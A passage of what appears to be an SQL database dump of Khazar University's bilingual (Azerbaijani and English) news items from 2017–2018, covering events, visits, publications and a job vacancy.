etibarən\r\nbaşlanılması planlaşdırılır.</p>\r\n<p>Xatırladaq ki, təlimin&nbsp; əsas məqsədi ölkədəki yeni təhsil\r\nstrategiyasına və təhsil islahatına uyğun olaraq, məktəb direktorlarının və gələcəkdə bu sahədə fəaliyyət\r\ngöstərmək istəyən təhsil işçilərinin bilik və bacarıqlarını artırmaq, onları\r\ndünyadakı səmərəli idarəetmə təcrübəsi ilə tanış etməkdir. Bu məqsədlə 7 fənn (Kurikulumun\r\ntətbiqi və idarəedilməsi; Təhsilin idarəolunması;\r\nStatistika və məlumatların təhlili; Maliyyə və mühasibat uçotu; Qanunvericilik və\r\ntəhsil hüququ; Təhsil psixologiyası və İKT) üzrə həftədə 3 gün 12 saat olmaqla, 12 həftə dərslər tədris\r\nolunur.&nbsp;</p>'),(3107,1837,'az','“Xəzər”də yubileylər','Yanvarın 23-də universitetin Multimedia mərkəzinin direktoru Natella Barkayanın 70, Xalça Muzeyinin direktoru, rəssam Afaq Kərimovanın 60 illik yubileyləri münasibətilə tədbir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Yanvarın\r\n23-də universitetin Multimedia mərkəzinin direktoru Natella Barkayanın 70, Xalça\r\nMuzeyinin direktoru, rəssam Afaq Kərimovanın 60 illik yubileyləri münasibətilə\r\ntədbir keçirildi. Tədbirdə universitetin rəhbərliyi, əməkdaşları və\r\nqonaqlar&nbsp; iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Tədbirin\r\naparıcısı, Məzunlarla iş mərkəzinin direktoru Baba Bayramlı jubilyarlarlar barədə\r\nqısa&nbsp;&nbsp;&nbsp; məlumat verdi, onlar haqqında &nbsp;Multimedia mərkəzində hazırlanmış slayd-şoular\r\nnümayiş etdirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Universitetin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı\r\nçıxış edərək,&nbsp; N. Barkaya və A. Kərimovanın\r\nuniversitetdəki fəaliyyətlərini yüksək dəyərləndirdi, onlara cansağlığı, uzun ömür\r\nvə uğurlar arzuladı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Digər\r\nçıxış edənlər - prorektorlar Məhəmməd Nuriyev və İsaxan İsaxanlı, “Dünya” məktəbinn\r\nhəmtəsisçisi, Xəzər Universiteti Direktorlar və Qəyyumlar Şurasının müşaviri\r\nNailəxanım İsayeva, &nbsp;Azərbaycan dili və ədəbiyyat\r\ndepartamentinin müdiri Vurğun Əyyub, İngilis dili və ədəbiyyatı departamentinin\r\nbaş müəllimləri Lidiya Həmidova və Firəngiz Nəsirova, müəllimi Lalə Həmidova,\r\nuniversitetin rəssamı Mir Rafiq Əbdülrəhimov və AMEA akademik Ziya Bünyadov\r\nadına Şərqşünaslıq İnstitutunun aparıcı elmi işçisi Solmaz Rüstəmova -Tohidi\r\nçıxış edərək, yubilyarlar haqqında xoş sözlər söylədilər. L. Həmidova N.\r\nBarkayaya həsr etdiyi şeirini də oxudu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Yubilyarlara\r\ngül dəstəsi, təbrik məktubu və hədiyyə təqdim olundu.Onlar Yubiley tortunu kəsdikdən\r\nsonra çıxış edərək, universitet rəhbərliyinə və təşkilatçılara təşəkkürlərini\r\nbildirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Tədbirdə\r\nuniversitetin Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə\r\nSadıqovanın müşayiəti ilə Müslüm Maqomayev adına Dövlət Filarmoniyasının\r\nsolisti, Xəzər Universitetinin müəllmi Məhsəti Cabbarovanın ifasında mahnılar səsləndi.&nbsp;</p>'),(3108,1835,'en','Khazar Students and Staff Members Visit Şəhidlər Xiyabanı','On January 20, 2017, a group of Khazar students and staff members  visited Şəhidlər Xiyabanı, the memorial monument of the victims of Black January, to commemorate the victims...','<p>On January 20, 2017, a group of Khazar\r\nstudents and staff members   visited Şəhidlər Xiyabanı, the memorial monument of the\r\nvictims of Black January, to commemorate the victims on the 27<sup>th</sup>\r\nanniversary of the massacre. They laid flowers at the monument and prayed for\r\nthose who lost their lives on January 20, 1990.&nbsp;</p>'),(3109,1837,'en','Jubilee Birthday Celebration at Khazar','On January 23, 2017, a jubilee birthday party was held at Khazar University to celebrate the 70th birthday of Natella Barkaya, Director of Multimedia Center; and the 60th birthday...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On January 23, 2017, a jubilee birthday party\r\nwas held at Khazar University to celebrate the 70th birthday of Natella Barkaya,\r\nDirector of Multimedia Center; and the 60th birthday of Afag Karimova, Director\r\nof Carpet Museum. The party was attnded by university administrators and staff\r\nmembers. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The announcer of the event was Baba Bayramli,\r\nDirector of the Center for Alumni Relations. He spoke about each of the honored\r\nstaff members listed above, and then a slide show prepared by the Multimedia\r\nCenter with photos of each of them was shown.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, made a\r\nspeech in which he highly evaluated Natella Barkaya’s and Afag Karimova’s\r\nservice. Other speeches were made by vice rectors Mohammad Nuriyev and Isaxan\r\nIsaxanli; Nailaxanim Isayeva, the co-founder of Dunya School and advisor to the\r\nKhazar University chairman of the Board of. Directors and Trustees; Vurgun\r\nAyyub, Head of the Department of Azerbaijani Language and Literature; Lidiya Hamidova\r\nand Firangiz Nasirova, Senior Instructors of the Department of English Language\r\nand Literature; Lala Hamidova, instructor of the Department of English Language\r\nand Literature; Mir Rafig Abdulrahimov, university’s artist; Solmaz\r\nRustamova-Tohidi, Senior Researcher of the Ziya Bunyadov Oriental Studies\r\nInstitute of Azerbaijan National Academy of Sciences. Lala Hamiodva also read a\r\npoem she dedicated to Natella Barkaya. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Natella Barkaya and Afag Karimova were given\r\nbouquets, congratulatory letters and gifts. They cut a birthday cake and\r\nthanked the university administration as well as all the participants in the\r\nparty.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Mahsati Jabbarova, soloist for the State\r\nPhilharmonic, performed musical numbers accompanied by Associate Professor\r\nZulfiyya Sadigova, Head of the Department of Music and Fine Arts.&nbsp;</p>'),(3110,1838,'en','Dr. Jestin Mandumpal’s Book Printed ','In January 2017, a book by Dr. Jestin Baby Mandumpal, instructor for Khazar University’s School of Engineering and Applied Sciences, entitled A Journey through Water...','<p>In January 2017, a book by Dr. Jestin Baby Mandumpal,\r\ninstructor for Khazar University’s School of Engineering and Applied Sciences, entitled <em>A Journey through Water: a\r\nScientific Exploration of the most Anomalous Liquid on Earth</em>, was printed\r\nin Dubai. In the book, Dr. Mandumpal presents water at the molecular level and\r\nexplores the relationship between its peculiar properties and structure. The\r\nbook was printed by Bentham Science – it will also be available in electronic\r\nformat soon. &nbsp;</p>'),(3111,1838,'az','Dr. Jestin Mandumpalın kitabı çapdan çıxdı','2017-ci ilin yanvarında Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsinin müəllimi Dr. Jestin Mandumpalın “Su ilə səyahət: yer üzündə ən qeyri-adi mayenin elmi tədqiqi” ...','<p>2017-ci ilin yanvarında Xəzər\r\nUniversitetinin Mühəndislik və tətbiqi elmlər fakültəsinin müəllimi Dr. Jestin\r\nMandumpalın “Su ilə səyahət: yer üzündə ən qeyri-adi mayenin elmi tədqiqi” adlı\r\nkitabı Dubayda çap olundu. Kitabda müəllif suyu molekulyar səviyyədə təqdim\r\nedir və onun xüsusiyyətləri ilə strukturu arasındakı əlaqəni tədqiq edir. </p>\r\n<p>Kitab “Bentham Science” nəşriyyatı\r\ntərəfindən çap olunmuşdur və elektron formatını yaxında əldə etmək mümkün\r\nolacaq.&nbsp;</p>'),(3113,1839,'en','Groundbreaking Ceremony for Khazar Holiday Centre','On January 24, 2017, a groundbreaking ceremony for the Khazar Holiday Centre (Khazar Palace) was held in Buzovna settlement of the city of Baku. The ceremony was attended...','<p>On January 24, 2017, a groundbreaking\r\nceremony for the Khazar Holiday Centre (Khazar Palace) was held in Buzovna\r\nsettlement of the city of Baku. The ceremony was attended by Khazar\r\nUniversity’s administrators and staff members as well as representatives from\r\nthe construction company.</p>\r\n<p>Information about the new building was\r\nshared with the participants of the ceremony. Professor Hamlet Isaxanli,\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, informed, the center will include conference halls and guest rooms as\r\nwell as sports halls and a swimming pool. Prof. Isaxanli laid a foundation\r\nstone of the Khazar Holiday Centre (Khazar Palace), and the participants of the\r\nceremony witnessed the start of the actual construction work.</p>'),(3112,1839,'az','Xəzər İstirahət Mərkəzinin təməlqoyma mərasimi','2017-ci il yanvarın 24-də Bakının Buzovna qəsəbəsində Xəzər Universiteti İstirahət Mərkəzinin  (Xəzər Saray) təməlqoyma mərasimi keçirildi. Mərasimdə Xəzər Universitetinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil yanvarın 24-də Bakının Buzovna qəsəbəsində Xəzər Universiteti İstirahət\r\nMərkəzinin&nbsp; (Xəzər Saray) təməlqoyma mərasimi\r\nkeçirildi. Mərasimdə Xəzər Universitetinin rəhbərliyi və əməkdaşları, eləcə də\r\ntikinti şirkətinin nümayəndələri iştirak etdilər. İştirakçılar istirahət mərkəzinin tikinti layihəsi ilə\r\ntanış oldular. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet isaxanlı qeyd etdi ki, əsas\r\nbinası 3 mərtəbədən ibarət olan İstirahət Mərkəzində konfrans zalları və\r\nistirahət otaqları ilə yanaşı, idman kompleksi və üzgüçülük hovuzunun da tikilməsi\r\nnəzərdə tutulur. Sonra H.İsaxanlı Xəzər İstirahət Mərkəzinin (Xəzər Saray)\r\nbünövrəsinin təməl daşını qoydu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İştirakçılartikintidə iş prosesininbaşlanmasını müşahidə etdilər.</p>'),(3114,1840,'en','Ambassador of Morocco Visits Khazar University','On January 24, 2017, the Ambassador of the Kingdom of Morocco to the Azerbaijan Republic, Mr. Mohamed Adil Embarch, visited Khazar University to meet with the university...','<p>On January 24, 2017, the\r\nAmbassador of the\r\nKingdom of Morocco to the Azerbaijan Republic, Mr.\r\nMohamed Adil Embarch, visited Khazar University to\r\nmeet with the university administration. The ambassador was accompanied\r\nby his first secretary Mr. Anis Zaidi. The meeting\r\nwas held on the university’s Neftchilar campus. Khazar University’s\r\nparticipants included Professor Hamlet Isaxanli, Founder, Chairman of\r\nthe Board of Directors and Trustees; President Hassan Niknafs; Prof. Mahammad\r\nNuriyev, Vice-Rector for Academic Affairs; Dr. Jabir Khalilov, Dean of the\r\nSchool of Humanities and Social Sciences; Dr. Elza Samadli, Dean of the School\r\nof Education; Dr. Mukhtar Hajizada, Head of Department of Political Science and\r\nInternational Relations,&nbsp;&nbsp; Turan Jafarova, Director of International\r\nAffairs Office. </p>\r\n<p>&nbsp;Mr. Mohamed Adil\r\nEmbarch spoke about Morocco, relations between Azerbaijan and Morocco,\r\nsimilarities between the countries, their customs, traditions, and culture.\r\nTuran Jafarova gave a brief presentation about Khazar University, its history,\r\nschools and programs, ranking among other universities in and outside of\r\nAzerbaijan as well as about its internationalization strategy. Prof. Hamlet\r\nIsaxanli expressed a strong interest in close collaboration with the Embassy of\r\nMorocco and universities in Morocco. The meeting was followed by an informal\r\nlunch.&nbsp;</p>'),(3115,1840,'az','Mərakeş səfiri Xəzər Universitetində oldu','2017-ci il yanvarın 24-də Mərakeş Krallığının Azərbaycan Respublikasındakı səfiri cənab Mohamed Adil Embarch Xəzər Universitetində oldu və universitet rəhbərliyi ilə görüşdü...','<p>2017-ci il yanvarın 24-də Mərakeş Krallığının Azərbaycan\r\nRespublikasındakı səfiri cənab Mohamed Adil Embarch Xəzər Universitetində oldu\r\nvə universitet rəhbərliyi ilə görüşdü. Xəzər Universitetin “Neftçilər”\r\nkorpusunda baş tutan bu görüşdə səfiri birinci müşaviri cənab Anis Zaidi müşaiət\r\nedirdi. Görüşdə Xəzər Universitetinin təsisçisi, Dirketorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, rektor Hassan Niknafs, Tədris işləri\r\nüzrə prorektor professor Məhəmməd Nuriyev, Humanitar və sosial elmlər fakültəsinin\r\ndekanı Cabir Xəlilov, Təhsil fakültəsinin dekanı Elza Səmədova, Siyasi elmlər və\r\nbeynəlxalq əlaqələr departamentinin müdiri Muxtar Hacızadə və Beynəlxalq əlaqələr\r\nşöbəsinin direktoru Turan Cəfərova iştirak edirdilər. </p>\r\n<p>Səfir təmsil etdiyi ölkə, Azərbaycan-Mərakeş əlaqələri,\r\niki ölkənin adət-ənənələri arasında oxşarlıqlardan danışdı. Daha sonra Turan Cəfərova\r\nXəzər Universiteti haqqında qısa təqdimatla çıxış edərək, universitetin tarixi,\r\nAzərbaycanda və ondan kənarda reytinq sistemlərində yeri, fakültələr, təklif\r\nolunan proqramlar, universitetin beynəlmilələşdirmə siyasəti və s. haqqında məlumat\r\nverdi. Professor H.İsaxanlı Mərakeş səfirliyi, eləcə də, Mərakeş universitetləri\r\nilə yaxın əməkdaşlıqda maraqlı olduqlarını bildirdi. </p>\r\n<p>Görüşdən sonra nahar verildi.&nbsp;</p>'),(3116,1836,'en','Exam for Potential School Directors Held','On January 23, 2017, an exam for a sixth iteration of the course of the Potential School Directors project was held at Khazar University. Future participants were given brief information...','<p>On\r\nJanuary 23, 2017, an exam for a sixth iteration of the course of the Potential\r\nSchool Directors project was held at Khazar University. Future participants\r\nwere given brief information about the course, and their questions were\r\nanswered.&nbsp; </p>\r\n<p>The\r\nexam results will be announced at the end of January. The 3-month training\r\ncourse is scheduled to begin in the first week of February.</p>\r\n<p>The\r\nmain purpose of this training course is to help present and future school\r\nleaders improve their knowledge and leadership skills to adapt&nbsp;to the new\r\neducation reform of the country as well as familiarize themselves with\r\nefficient global experiences.</p>\r\n<p>To\r\nthis end, 7 subjects (curriculum implementation and management; education\r\nmanagement; statistics and data analysis; finance and accounting; legislation\r\nand the right to education; educational psychology and ICT) are taught within\r\nthe project. The course is 12 weeks in duration; classes are held three days\r\nper week.&nbsp;</p>'),(6080,3468,'en','VACANCY ANNOUNCEMENT','Khazar University is seeking a qualified applicant to fill a position of Coordinator at the International Affairs Office...','<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong>Deadline: October 10, 2018</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>Vacancy:\r\nCoordinator</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>Department/Office:\r\nInternational Affairs Office</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Khazar University is seeking a qualified\r\napplicant to fill a position of Coordinator at the International Affairs\r\nOffice.</p>\r\n<p>Minimum Requirements:</p>\r\n<ul><li>Bachelor’s degree</li><li>Excellent English language skills</li><li>Good written and verbal communication skills</li><li>Good organizational skills</li><li>Attention to details, ability to meet deadlines,\r\ntime management skills</li><li>Flexible and quick-learner able to work independently\r\nas well as in a team</li></ul><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;background:white\"\"=\"\">Responsibilities include but are not limited\r\nto:</p>\r\n<ul><li>International student recruitment activities</li><li>Coordinate admission of international students</li><li>Coordinate international student orientation and\r\nengagement</li><li>Manage Khazar University International\r\nScholarship Program</li><li>Coordinate Mevlana Exchange Programme</li><li>Assist in implementation of other projects and\r\nprograms</li></ul><p><strong>All\r\nqualified candidates are encouraged to apply by sending their CV/resumes to </strong><a href=\"mailto:hr@khazar.org\"><strong>hr@khazar.org</strong></a><strong> by&nbsp;October\r\n10, 2018</strong><em> with\r\nthe following subject line: Coordinator at International Affairs Office</em></p>\r\n<p>Late applications will not be considered.\r\nOnly shortlisted candidates will be contacted for interviews.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>International Affairs\r\nOffice</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong></strong>The International Affairs Office of Khazar\r\nUniversity is responsible for design and implementation of the university’s\r\noverall internationalization strategy, including recruitment, admission, and\r\nengagement of international students, mobility/exchange programs for\r\nstudents/staff, cooperation with universities/organizations/foreign embassies\r\nin Azerbaijan and Embassies of Azerbaijan abroad as well as other\r\ntasks/projects contributing to the university’s mission and vision. The\r\nInternational Affairs Office also provides guidance and advising services to\r\ninternational students/scholars/visitors of Khazar University. For more\r\ninformation about the International Affairs Office visit: <a href=\"http://international.khazar.org/\">http://international.khazar.org/</a></p>'),(6072,3464,'az','“Beynəlxalq kredit mübadiləsi və kreditlərin tanınması proseduru” adlı təlim baş tutdu','2018-ci il sentyabrın 28-də Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə Erasmus+ PAWER layihəsi çərçivəsində...','<p>2018-ci il sentyabrın 28-də Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə Erasmus+ PAWER layihəsi çərçivəsində universitet departamentlərinin əməkdaşları üçün “<em>Beynəlxalq kredit mübadiləsi və kreditlərin tanınması proseduru</em>” adlı təlim keçirildi.</p><p>Təlimin məqsədi Bolonya prosesi, AKTS (ECTS), tələbə/əməkdaş mübadiləsi müqavilələri, mübadilə zamanı və sonrasında dəstək, mübadilə siyasəti və s. daxil olmaqla, tələbələr və işçilərin xarici universitetlərə təhsil mübadiləsinə dair mühüm məsələləri və Xəzər Universitetinin bu prosesdə rolunu və görüləcək işləri çatdırmaqdan ibarət idi. Xəzər Universitetinin müxtəlif fakültələrindən təlimə  qatılan əməkdaşlar&nbsp;öz təklif və iradlarını bildirdilər.</p>'),(4084,2385,'az','Hamlet İsaxanlı “Exo” qəzetinə müsahibə verdi','2017-ci il avqustun 30-da “Exo” qəzetinin (rus dilində) rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p>2017-ci il avqustun 30-da “Exo” qəzetinin (rus dilində) rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə “Azərbaycanın ali təhsil müəssisələri xarici təşkilatların akademik reytinqində” mövzusunda söhbətin mətni yayınlanmışdır.</p><p>Materialı tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://ru.echo.az/?p=62224\" target=\"_blank\">http://ru.echo.az/?p=62224</a><br></p>'),(4083,2384,'en','AFFA’s response to Professor Hamlet Isakhanli\'s congratulation letter','AFFA responded to the congratulation letter sent on the occasion of ‘Garabagh’ football club to qualify for UEFA Champions League group stage by Professor Hamlet Isakhanli...','<p>AFFA responded to the congratulation letter sent on the occasion of ‘Garabagh’ football club to qualify for UEFA Champions League group stage by Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees to Elkhan Mammadov, the General Secretary of AFFA:</p><p>“Dear Hamlet Isakhanli, we are grateful to you for your congratulation and nice words on the occasion of ‘Garabagh’ football club to qualify for UEFA Champions League group stage and for inviting ‘Garabagh’ Football Club to the University you lead. ‘Garabagh’ club will be informed about your offer. Thank you for your attention. Sincerely, Elkhan Mammadov, Secretary General. \"</p>'),(4085,2385,'en','Hamlet Isakhanli gave an interview to \"Echo\" newspaper','On August 30, 2017, the text of the interview with Hamlet Isakhanli, the founder of the University, chairman of its Board of Directors and Trustees, on the subject...','<p>On August 30, 2017, the text of the interview with Hamlet Isakhanli, the founder of the University, chairman of its Board of Directors and Trustees, on the subject “Azerbaijani higher educational institutions in the academic rankings of foreign organizations” was released on the official website of the \"Echo\" newspaper (in Russian).</p><p>The text is readily accessible through this link:&nbsp;</p><p><a href=\"http://ru.echo.az/?p=62224\" target=\"_blank\">http://ru.echo.az/?p=62224</a></p>'),(3170,1872,'az','Karyera Mərkəzinin koordinatoru “Baker Tilly” şirkəti ilə görüş keçirdi','2017-ci il fevralın 7-də Xəzər Universiteti Karyera Mərkəzinin koordinatoru Ülviyyə Hüseynova “Baker Tilly” şirkəti ilə görüş keçirdi. Görüşdə növbəti Karyera Sərgisinin keçirilməsi...','<p>2017-ci il\r\nfevralın 7-də Xəzər Universiteti Karyera Mərkəzinin koordinatoru Ülviyyə\r\nHüseynova “Baker Tilly” şirkəti ilə görüş keçirdi. Görüşdə növbəti Karyera\r\nSərgisinin keçirilməsi üçün sponsorluq təklifi müzakirə olundu. Keçiriləcək iki\r\ngünlük Karyera Sərgisi cari ilin may ayının sonunda Xəzər Universitetinin\r\ntələbələri,&nbsp;məzunları və&nbsp;digər universitetlərin tələbə və məzunları\r\nüçün nəzərdə tutulur. Karyera Sərgisi “Baker Tilly” şirkətinin\r\nsponsorluğu&nbsp;ilə həyata keçiriləcək. Sponsorluq proqramı “Baker Till” şirkətinin\r\nMarketinq şöbəsinin nümayəndəsi&nbsp;Günel Abbasova tərəfindən təsdiq olundu.\r\nRəsmi təsdiq məktubu isə bu həftə ərzində hazırlanaraq, universitetə təqdim\r\nolunacaq.</p>'),(3174,1875,'az','“Maarifçi” Tələbə Kredit Fondu tədbir keçirdi','2017-ci il fevralın 8-də “Maarifçi” Tələbə Kredit Fondunun fəaliyyəti və ümumilikdə, Azərbaycanda tələbə kredit proqramının icrası ilə bağlı tədbir keçirildi....','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il fevralın 8-də “Maarifçi” Tələbə Kredit Fondunun fəaliyyəti\r\nvə ümumilikdə, Azərbaycanda tələbə kredit proqramının icrası ilə bağlı tədbir\r\nkeçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı da bu tədbirdə iştirak etdi.&nbsp;</p><p>Bir neçə\r\ndövlət ali məktəbi tədbirdə təmsil olunurdu. Xəzər Universiteti bu tədbirdə\r\niştirak edən yeganə özəl ali təhsil müəssisəsi idi.</p>'),(3172,1874,'az','Hamlet İsaxanlı: “Azərbaycanda tələbələrin sayı artırılmalıdır, amma universitetlər...”','2017-ci il fevralın 8-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Şərq” qəzetinin rəsmi internet səhifəsi olan Sherg.az-da...','<p>2017-ci il\r\nfevralın 8-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı “Şərq” qəzetinin rəsmi internet\r\nsəhifəsi olan<strong> <em>Sherg.az</em></strong>-da Təhsil Nazirliyinin ali məktəblərə qəbul olan\r\ntələbələrin sayının artırılmasına dair təklifləri hazırlayaraq hökumətə təqdim\r\netməsi ilə bağlı məsələyə münasibətini bildirmişdir.</p>\r\n<p>H.İsaxanlının\r\nqeyd olunan məsələ ilə bağlı fikirlərini daha geniş şəkildə bu link vasitəsilə\r\nöyrənmək olar:</p>\r\n<p><a href=\"http://www.sherg.az/site/id-26169/%22Az%C9%99rbaycanda_t%C9%99l%C9%99b%C9%99l%C9%99rin_say%C4%B1_art%C4%B1r%C4%B1lmal%C4%B1d%C4%B1r,__amma_universitetl%C9%99r...%22_#Kalibri\">http://www.sherg.az/site/id-“Azərbaycanda_tələbələrin_sayı_artırılmalıdır,__amma_universitetlər...”</a> </p>'),(3385,1986,'en','Rector of Akaki Tsereteli State University (Georgia) Visits Khazar','On March 16, 2017, Prof. George Gavtadze, the rector of Akaki Tsereteli State University, visited Khazar University and met with Khazar University president Dr. Hassan Niknafs...','<p>On March 16, 2017, Prof. George\r\nGavtadze, the rector of Akaki Tsereteli State University, visited Khazar\r\nUniversity and met with Khazar University president Dr. Hassan Niknafs. Turan\r\nJafarova, Director of the International Affairs Office, was also present in the\r\nmeeting. During the meeting, further development of partnership between Akaki\r\nTsereteli State University and Khazar University, including the provision for various\r\nexchange programs and joint projects (seminars,\r\nconferences, and summer schools) was discussed.</p>\r\n<p>The general agreement on academic\r\ncooperation between the two universities was signed in 2013. Since then, both\r\nuniversities participated in various joint projects (2012-2014: Student Support\r\nand Development Services, a TEMPUS project). Currently Khazar University and\r\nAkaki Tsereteli State University participate in two Erasmus + projects on\r\ncapacity building: AESOP project (Advocacy Establishment for\r\nStudents through Ombudsman Position) and PAWER project (Paving the Way to Interregional Mobility and\r\nEnsuring Relevance, Quality and Equity of Access).</p>\r\n<p>The rector of Akaki Tsereteli State University is currently in Baku in connection with\r\nthe kick-off meeting of the AESOP project mentioned above.&nbsp;</p>'),(3173,1871,'en','“Education and Media” Press Conference to be held at Khazar University','On February 10, 2017 at 12:00, Khazar University will hold a press conference entitled “Education and Media”...','<p>On\r\nFebruary 10, 2017 at 12:00, Khazar University will hold a press conference\r\nentitled “Education and Media”. The conference is open to the public and the\r\nmedia.</p>\r\n<p><strong>Venue:</strong></p>\r\n<p>Khazar\r\nUniversity Marble Hall</p>\r\n<p>41\r\nMahsati street (Neftchilar metro station), Baku</p>\r\n<p><strong>Tel:</strong> (012) 323 93 13</p>\r\n<p><strong>Cell</strong>:&nbsp; (050) 321 31 69</p>'),(3175,1875,'en','“Maarifçi” Student Loan Fund Held Information Session','On February 8, 2017, “Maarifçi” Student Loan Fund held an information session at the Boulevard Hotel Baku, highlighting its own activities and the implementation plan of the student...','<p>On February 8, 2017, “Maarifçi  ” Student Loan Fund<strong> </strong>held<strong>\r\n</strong>an information session at the Boulevard Hotel Baku, highlighting its own\r\nactivities and the\r\nimplementation plan of the student loan program.<strong> </strong>Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, attended the event.</p><p>Several public\r\nuniversities were represented – Khazar was the only private university at the\r\nevent.&nbsp;</p>'),(3382,1984,'en','AESOP project meeting held at Khazar University','On March 16, 2017, a kickoff meeting for the “Advocacy Establishment for Students through Ombudsman Position (AESOP)” Erasmus + project was held at Khazar...','<p>On March 16, 2017, a kickoff meeting for the “Advocacy\r\nEstablishment for Students through Ombudsman Position (AESOP)” Erasmus +\r\nproject was held at Khazar University. </p>\r\n<p>The meeting brought together representatives of project\r\npartners&nbsp;from Georgia, Ukraine and Azerbaijan. The meeting participants\r\ndiscussed the result of the needs assessment, ongoing and future\r\nactivities.&nbsp; </p>\r\n<p>The AESOP project aims to support the establishment of ombudsman\r\noffice for students’ advocacy, in order to actively contribute to resolution of\r\nconflicts, concerns, and other issues that students may encounter through the\r\ncourse of university life. </p>\r\n<p>The project partners’ meeting will continue on Friday, March 17,\r\n2017.</p>'),(3383,1985,'az','Gənc tarixçilər H.Zərdabi adına Təbiət Tarixi Muzeyində oldular','2017-ci il martın 17-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Orxan Zamanovun təşkilatçılığı ilə Təhsil fakültəsi tarix müəllimliyi ixtisası I kurs...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 17-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi\r\nOrxan Zamanovun təşkilatçılığı ilə Təhsil fakültəsi tarix müəllimliyi ixtisası I\r\nkurs tələbələrinin “Köməkçi tarix fənləri” dərsi H.Zərdabi adına Təbiət Tarixi\r\nMuzeyində keçirildi. Müəllim Orxan Zamanov tələbələrə nəsli kəsilmiş heyvan\r\nqalıqları, həmçinin, müxtəlif növ dəniz heyvanlarının qalıqları haqqında məlumat\r\nverdi. Tələbələr Sakit və Hind okeanlarından gətirilmiş heyvan nümunələri ilə də\r\ntanış oldular.</p>'),(3384,1983,'en','Khazar University Department Head participates in Symposium in Turkey','On March 10-12, 2017, Dr. Elnura Azizova, Head of the Department of Languages and Cultures, participated in a symposium entitled “Shanliurfa in Islamic history and...','<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:1.2pt;margin-left:0in;text-align:justify;text-indent:.25in\"\"=\"\">On March 10-12, 2017, Dr. Elnura Azizova, Head of the\r\nDepartment of Languages and Cultures, participated in a symposium entitled\r\n“Shanliurfa in Islamic history and culture” (based on Ottoman sources), 2nd\r\ninternational symposium held in Shanliurfa, Turkey. Elnura Azizova gave a talk\r\nentitled “From Abram’s pool to the depiction of Jesus in Edessa: 16-19th\r\ncentury European travelers’ views on Jewish, Christian and Muslim identities”\r\nat the 